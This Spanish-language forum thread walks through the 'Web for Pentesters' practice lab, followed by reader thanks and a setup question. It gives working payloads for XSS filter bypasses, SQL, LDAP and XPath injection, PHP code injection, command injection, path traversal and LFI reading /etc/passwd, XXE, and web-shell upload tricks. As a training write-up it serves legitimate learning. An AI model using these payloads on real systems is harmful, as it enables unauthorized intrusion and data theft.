WebForPentesters

Iniciado por rollth, Noviembre 14, 2016, 04:28:50 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Noviembre 14, 2016, 04:28:50 PM Ultima modificación: Abril 01, 2018, 10:21:00 AM por rollth
Muy buenas, en este post voy a mostrar como se podrían resolver los retos de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
Este reto más que de explotar algún tipo de vulnerabilidad sirve para aprender a saltar los filtros típicos. Si no conoces alguna de las vulnerabilidades de los retos puedes mirar los links que dejo.



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Reto XSS 1

Este primero es sencillo y con un simple payload en el parametro name nos saltaría la alerta.
"/xss/example1.php?name=<script>alert(document.domain)</script>"

Reto XSS 2

En este caso hay un filtro que se encarga de eliminar si se encuentra algo que sea: "<script>" o "</script>", por lo tanto vamos a usar mayúsculas.
"/xss/example2.php?name=<sCript>alert(document.domain);</Script>"

Reto XSS 3

Ahora igual que antes elimina cuando encuentra <script>, pero también elimina si ve mayuscula, para ello dentro de la etiqueta meteremos otra etiqueta, así no será capaz de detectar la de fuera, y al borrar la de dentro  saltará la alerta.
"/xss/example2.php?name=<scri<script>pt>alert(document.domain);</scrip</script>t>"

Reto XSS 4

En este si encuentra <script> en lugar de borrarlo, da un error, en este caso vamos a usar una etiqueta HTML y un No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
"/xss/example4.php?name=<body onload=alert(document.domain)>XSS</body>"

Reto XSS 5

En este caso también filtra la función alert, podemos usar otra diferente pero que haga lo que nosotros queremos. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
"/xss/example5.php?name=<body onload=prompt("document.domain")>XSS</body>"

Reto XSS 6

La verdad no se cual es la diferencia con el reto anterior, también funciona el payload anterior.

Reto XSS 7

En este caso el valor que introduzcas se introduce en una variable de javascript: "<script>var $a= 'input';"</script>. Para hacer que salte la alerta solo tenemos que añadirle la función y abrir unas comillas para que las se cierre por el filtro.
"/xss/example7.php?name=a';alert(document.domain); var $b= 'b"

Reto XSS 8

Este es un poco más complicado, la web una función de php que se llama No tienes permitido ver los links. Registrarse o Entrar a mi cuenta se usa mucho para en un metodo POST escribir en el HTML que donde va a enviar los valores por método POST es así mismo, modificando la URL se puede hacer saltar una XSS.
"/xss/example8.php/"><script>alert(document.domain)</script>"

Reto XSS 9

Este igual, simplemente ponemos el payload después del '#'. Yo no he conseguido que me funcione en versiones actuales de Firefox o de Chrome, solo con ie.

/xss/example9.php#<script>alert(document.domain)</script>





No tienes permitido ver los links. Registrarse o Entrar a mi cuenta Y No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Reto RFI

Yo voy a usar para esto un archivo con el siguiente código:

Código: php
 <?php 
echo '<p>Hola Mundo</p>';
?>


Esto se sube a un servidor privado y ya podemos pasar el reto.

"/fileincl/example1.php?page=No tienes permitido ver los links. Registrarse o Entrar a mi cuenta"



Reto LFI

Este reto es muy sencillito, solo vamos a accerder a passwd a través de este payload.
/fileincl/example2.php?page=../../../etc/passwd%00




No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Reto LDAP 1

Este reto es sencillito, se valida con los datos que se envian por la URL, esta validación se puede bypassear simplemente no enviando nada.
"/ldap/example1.php"

Reto LDAP 2

En este es igual, ya que no sabemos la contraseñas nos vamos a deshacer de esa petición, para esto vamos a cerrar con %00. Ahora pongamos la contraseña que pongamos nos va a dejar entrar.
"/ldap/example2.php?name=hacker))%00&password=p"




No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Reto SQLi 1

Este no tiene ningún tipo de filtro y obviamente el parámetro que enviamos es un String, así que colocaremos una tautología y un comentario para que se nos muestren todos los usuarios.
"/sqli/example1.php?name=' or 1=1-- -"

Reto SQLi 2

Ahora no nos deja colocar espacios, bueno, simplemente vamos a hacer el mismo payload sin espacios, solo que la tautología la vamos a poner comparando strings para que se cierre.
"/sqli/example2.php?name='or'1'='1"

Reto SQLi 3

Aquí también funciona usando el filtro anterior.

Reto SQLi 4

Ahora tampoco tiene ningún filtro, pero la difencia es que ahora funciona por un Integer y no por un String, por lo tanto no hay que tener en cuenta el cierre de comillas final.
"/sqli/example4.php?id=2 or 1=1"

Reto SQLi 5 y 6

También funciona usando el payload anterior.

Reto SQLi 7

Este comprueba que lo que se ha introducido sea un Integer, para saltar este filtro vamos a añadir un salto de línea: "%0A" antes de la tautología para que no la valore el filtro, pero si la consulta.
"/sqli/example7.php?id=2%0A or 1=1"

Reto SQLi 8 y 9

Al mostrar directamente todo he estado intentando hacer que solo muestre un elemento con UNION, pero no lo he conseguido, si alguien sabe como se completa este que me avise.



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Reto Code injection 1

Aquí igual que en todos los primeros no hay ningún filtro, solamente tenemos que ocupar bien de que las comillas queden bien abiertas, ya que el propio código ahora las cierra.
/codeexec/example1.php?name=Rollth";phpinfo();$a="a


Reto Code injection 2

Antes él codigo usaba eval, ahora está usando la función usort (podemos verlo si colocamos el payload anterior), y esta va aser la que vamos a cerrar para que todo salga bien, para ello nos vamos a ayudar de un comentario.
"/codeexec/example2.php?order=id);}phpinfo();%23"

Reto Code injection 3

Este tampoco he sido capaz de resolverlo, si alguien lo sabe que me pase la solución.

Reto Code injection 4

Ahora si ponemos un punto nos dará un error que nos dirá que la función que usa es la función assert, pues vamos a  ayudarnostambién de los comentarios.
"/codeexec/example4.php?name=hacker'.phpinfo();%23"



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Reto File Upload 1

Este es sencillo, solo tenemos que mandar la shell en php que nos guste y lo tenemos hecho.

Reto File Upload 2

En este caso tienen filtrados los archivos php, entonces lo que vamos a hacer es cambiarle la extensión a otra que pueda ejecutar php, como por ejemplo phtml.



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Reto Directory traversal 1

Bueno, para resolver este reto solo tenemos que poner el path del archivo que queremos leer.
"/dirtrav/example1.php?file=../sqli/example4.php"

Reto Directory traversal 2

Este es igual de sencillo, solo que tenemos que modificar el path de la foto por el de nuestro archivo y ya podemos entrar a verlo.
/dirtrav/example2.php?file=/var/www/files/../sqli/example4.php

Reto Directory traversal 3

En este caso la terminación del archivo la da el código. Para leer nuestro archivo php vamos a añadirle al final de nuestro path un salto de linea.
/dirtrav/example3.php?file=/../sqli/example4.php%00



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Reto Commands injection 1

Este primero es solo añadir a la ip el comando que queremos hacer.
"/commandexec/example1.php?ip=127.0.0.1;ls;"

Reto Commands injection 2

Ahora tiene un filtro que si añades algo que no sea la IP da un fallo, pero se puede saltar añadiendo un salto de linea.
"/commandexec/example2.php?ip=127.0.0.1%0Als"

Reto Commands injection 3

Ahora lo que hace es recargar la web si lanzas algo además de la IP, para obtener los resultaso antes de que recargue vamos a usar ncat.

"ncat 192.168.1.23 80
GET /commandexec/example3.php?ip=127.0.0.1%0Als"





No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Reto XML attacks 1

Ahora vamos a crear con xml una  variable en la que vamos a meter el archivo /etc/passwd y lo vamos a mostrar, seria con el siguiente payload que tenemos que No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
<!DOCTYPE test [<!ENTITY xxe SYSTEM "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta">]><test>&xxe;</test>

"/xml/example1.php?xml=%3C%21DOCTYPE%20test%20%5B%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%3E%5D%3E%3Ctest%3E%26xxe%3B%3C%2ftest%3E"

Reto XML attacks 2

Para este último vamos a hacer que nos muestre todos los usuarios, para ellos al igual que en las inyecciones SQL vamos a usar una tautología.

/xml/example2.php?name=hacker' or 2=2]%00


Ya habríamos acabado el reto.

También me pueden seguir en Twitter si les hace ilusión: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos.
RollthBuen hacker mejor No tienes permitido ver los links. Registrarse o Entrar a mi cuenta/No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Noviembre 15, 2016, 09:13:15 AM #1 Ultima modificación: Noviembre 15, 2016, 09:27:26 AM por Gabriela
Muy prolijo y laborioso tu aporte @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta , permitiendo una lectura clara y amena.

Por otra parte, siempre es de utilidad estos ejercicios (o retos) con la explicación del cómo superarlo; más que se hacen en forma gradual.

Más allá de eso, tu post me ha enseñado unas cuantas cosas que no sabía.

Agradecida y +Karma

Gabriela
Tú te enamoraste de mi valentía, yo me enamoré de tu oscuridad; tú aprendiste a vencer tus miedos, yo aprendí a no perderme en tu abismo.

A favoritos,

Gracias @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Muy prolijo y laborioso tu aporte @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta , permitiendo una lectura clara y amena.

Por otra parte, siempre es de utilidad estos ejercicios (o retos) con la explicación del cómo superarlo; más que se hacen en forma gradual.

Más allá de eso, tu post me ha enseñado unas cuantas cosas que no sabía.

Agradecida y +Karma

Gabriela

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
A favoritos,

Gracias @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos

Muchas gracias a los dos, así da gusto gastar el tiempo para escribir posts :D

Saludos.
RollthBuen hacker mejor No tienes permitido ver los links. Registrarse o Entrar a mi cuenta/No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Muy bueno @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, para tener acceso a los retos, te bajaste el iso y lo montaste como live cd?

Un saludo.



Buenísimo @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, a favoritos  ;D


Jugar o perder

Buenas compañeros, me he descargado la ISO y a la hora de hacer un ifconfig no me da IPv4 :( tengo puesto modo bridge,he probado a reiniciar la tarjeta de red y demas..



¿Alguna sugerencia?

Un saludo :)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Buenas compañeros, me he descargado la ISO y a la hora de hacer un ifconfig no me da IPv4 :( tengo puesto modo bridge,he probado a reiniciar la tarjeta de red y demas..



¿Alguna sugerencia?

Un saludo :)

Prueba en la pestaña avanzada a ponerlo en modo promiscuo.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Buenísimo

@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, a favoritos  ;D

Muchas gracias :D

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Muy bueno @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, para tener acceso a los retos, te bajaste el iso y lo montaste como live cd?

Un saludo.

Así es.
RollthBuen hacker mejor No tienes permitido ver los links. Registrarse o Entrar a mi cuenta/No tienes permitido ver los links. Registrarse o Entrar a mi cuenta